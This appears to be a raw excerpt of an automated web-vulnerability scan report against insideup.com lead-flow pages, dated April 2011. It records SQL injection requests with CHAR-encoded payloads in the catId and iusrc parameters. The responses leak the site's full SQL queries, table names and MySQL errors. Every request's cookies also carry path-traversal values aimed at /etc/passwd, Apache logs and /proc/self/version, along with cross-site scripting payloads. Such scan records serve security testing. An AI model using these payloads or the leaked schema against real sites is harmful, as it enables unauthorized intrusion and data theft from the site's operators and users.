convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/bulo00/project.php?catId=30005&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/lodi00/project.php

/ppc/leadflow/lodi00/project.php

http://www.insideup.com/ppc/leadflow/lodi00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2B..

Parameters

Parameter	Type	Value
catId	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
iusrc	GET	iupsc

Request

GET /ppc/leadflow/lodi00/project.php?catId='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&iusrc=iupsc HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:28:10 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=q2ftsggmpem9ckgjsam91hss84; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'&iusrc=iupsc/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/obtm00/project.php

/ppc/leadflow/obtm00/project.php

http://www.insideup.com/ppc/leadflow/obtm00/project.php?catId=80011&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	80011
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/obtm00/project.php?catId=80011&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:29:06 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=gl0kppmln10thkr3lhe37qd3a6; path=/
Content-Length: 4143
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'/'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 5

- /ppc/leadflow/parl00/project.php

/ppc/leadflow/parl00/project.php

http://www.insideup.com/ppc/leadflow/parl00/project.php?catId=10002&iusrc='%2B%20(select+convert(int..

Parameters

Parameter	Type	Value
catId	GET	10002
iusrc	GET	'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

GET /ppc/leadflow/parl00/project.php?catId=10002&iusrc='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
